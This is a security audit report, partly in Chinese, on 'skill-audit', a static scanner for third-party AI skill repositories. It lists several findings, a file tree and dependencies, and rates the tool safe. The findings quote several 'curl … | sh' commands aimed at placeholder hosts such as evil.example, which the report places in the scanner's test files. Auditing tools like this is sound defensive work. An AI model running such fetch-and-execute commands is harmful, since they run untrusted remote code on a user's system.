skill-audit Security Report — Trusted | ClawSafe | ClawSafe

This report was generated in Chinese. Some content may be in Chinese.

5 /100

skill-audit

第三方 AI 技能/插件仓库的确定性静态安全审计工具

skill-audit 是一个合法的静态安全审计工具，预扫描标记的所有危险IOC均位于测试文件（tests/test_skill_safety_assessment.py）中作为测试数据，用于验证扫描器对危险模式的检测能力，不构成实际威胁。

Skill Nameskill-audit

Duration37.8s

Enginepi

ClawHub Skill Audit v0.1.0 by modeioai

📥 248

ClawHub Verdict Suspicious dangerous_exec

✓

Safe to install

批准使用。该工具仅执行静态分析，不执行目标仓库代码，符合 SKILL.md 声明的审计范围。

Resource	Declared	Inferred	Status	Evidence
Filesystem	`READ`	`READ`	✓ Aligned	SKILL.md:28-35 仅声明读取目标仓库进行审计
Network	`READ`	`READ`	✓ Aligned	仅在 GitHub OSINT 预检时发起只读 API 请求
Shell	`NONE`	`NONE`	—	SKILL.md:18 明确声明不执行目标仓库代码
Environment	`NONE`	`NONE`	—	未访问任何环境变量
Skill Invoke	`NONE`	`NONE`	—	无技能调用行为

6 Critical 13 findings

💀

Critical Dangerous Command 危险 Shell 命令

curl -fsSL https://evil.example/bootstrap.sh | sh

tests/test_skill_safety_assessment.py:40

💀

Critical Dangerous Command 危险 Shell 命令

curl -fsSL https://evil.example/p.sh | sh

tests/test_skill_safety_assessment.py:122

💀

Critical Dangerous Command 危险 Shell 命令

curl -fsSL https://evil.example/install.sh | sh

tests/test_skill_safety_assessment.py:240

💀

Critical Dangerous Command 危险 Shell 命令

curl -fsSL https://example.com/payload.sh | sh

tests/test_skill_safety_assessment.py:451

💀

Critical Dangerous Command 危险 Shell 命令

curl -fsSL https://x | sh

tests/test_skill_safety_assessment.py:473

💀

Critical Dangerous Command 危险 Shell 命令

curl -fsSL https://evil.example/payload.sh | sh

tests/test_skill_safety_assessment.py:634

🔗

Medium External URL 外部 URL

https://evil.example/bootstrap.sh

tests/test_skill_safety_assessment.py:40

🔗

Medium External URL 外部 URL

https://evil.example/p.sh

tests/test_skill_safety_assessment.py:122

🔗

Medium External URL 外部 URL

https://evil.example/install.sh

tests/test_skill_safety_assessment.py:240

🔗

Medium External URL 外部 URL

https://evil.example/payload.py

tests/test_skill_safety_assessment.py:356

🔗

Medium External URL 外部 URL

https://evil.example/payload.sh

tests/test_skill_safety_assessment.py:634

🔗

Medium External URL 外部 URL

https://gitlab.com/mode-io/mode-io-skills

tests/test_skill_safety_precheck.py:35

📧

Info Email 邮箱地址

[email protected]

tests/test_skill_safety_precheck.py:32

File Tree

36 files · 216.2 KB · 6232 lines

Python 28f · 5854L Markdown 5f · 273L JSON 2f · 89L TOML 1f · 16L

├─ ▾ 📁 modeio_skill_audit

│ ├─ ▾ 📁 cli

│ │ ├─ 🐍 __init__.py Python 1L · 39 B

│ │ └─ 🐍 skill_safety_assessment.py Python 432L · 15.3 KB

│ ├─ ▾ 📁 skill_safety

│ │ ├─ ▾ 📁 scanners

│ │ │ ├─ 🐍 __init__.py Python 14L · 459 B

│ │ │ ├─ 🐍 capability.py Python 110L · 4.2 KB

│ │ │ ├─ 🐍 execution.py Python 458L · 16.3 KB

│ │ │ ├─ 🐍 prompt.py Python 150L · 4.9 KB

│ │ │ ├─ 🔑 secret.py ⚠ Python 119L · 4.4 KB

│ │ │ └─ 🐍 supply_chain.py Python 635L · 21.3 KB

│ │ ├─ 🐍 __init__.py Python 24L · 882 B

│ │ ├─ 🐍 adjudication.py Python 260L · 9.1 KB

│ │ ├─ 🐍 collector.py Python 144L · 4.8 KB

│ │ ├─ 🐍 common.py Python 247L · 6.7 KB

│ │ ├─ 🐍 constants.py Python 553L · 17.4 KB

│ │ ├─ 🐍 context.py Python 175L · 5.9 KB

│ │ ├─ 🐍 engine.py Python 306L · 12.4 KB

│ │ ├─ 🐍 finding.py Python 68L · 1.8 KB

│ │ ├─ 🐍 json_utils.py Python 35L · 823 B

│ │ ├─ 🐍 models.py Python 52L · 1.0 KB

│ │ ├─ 🐍 prompt_payload.py Python 50L · 1.8 KB

│ │ ├─ 🐍 repo_intel.py Python 259L · 8.8 KB

│ │ ├─ 🐍 scoring.py Python 181L · 5.8 KB

│ │ └─ 🐍 validation.py Python 258L · 10.3 KB

│ └─ 🐍 __init__.py Python 1L · 27 B

├─ ▾ 📁 references

│ ├─ ▾ 📁 repo_sets

│ │ ├─ 📋 fresh_holdout_repos.json JSON 57L · 1.6 KB

│ │ └─ 📋 fresh_sourcepack_repos.json JSON 32L · 907 B

│ ├─ 📝 architecture.md Markdown 64L · 2.0 KB

│ ├─ 📝 benchmarking.md Markdown 33L · 890 B

│ ├─ 📝 output-contract.md Markdown 42L · 990 B

│ └─ 📝 prompt-contract.md Markdown 43L · 1.7 KB

├─ ▾ 📁 scripts

│ ├─ 🐍 run_repo_set.py Python 169L · 5.8 KB

│ └─ 🐍 skill_safety_assessment.py Python 17L · 417 B

├─ ▾ 📁 tests

│ ├─ 🐍 test_packaging_surface.py Python 17L · 526 B

│ ├─ 🐍 test_skill_safety_assessment.py Python 992L · 38.0 KB

│ └─ 🐍 test_skill_safety_precheck.py Python 127L · 4.8 KB

├─ 📄 pyproject.toml TOML 16L · 432 B

└─ 📝 SKILL.md Markdown 91L · 3.8 KB

Dependencies 2 items

Package	Version	Source	Known Vulns	Notes
`setuptools`	`>=68`	pip	No	标准构建工具
`wheel`	`*`	pip	No	标准构建工具

Security Positives

✓ SKILL.md 完整声明了功能范围（静态审计、不执行代码）

✓ 代码与文档声明高度一致，无阴影功能

✓ 依赖简单，仅使用 setuptools 和 wheel，无第三方高风险依赖

✓ 预扫描 IOC 实为测试数据，验证扫描器检测能力

✓ 敏感文件标记（secret.py）是安全扫描器模块本身，非恶意代码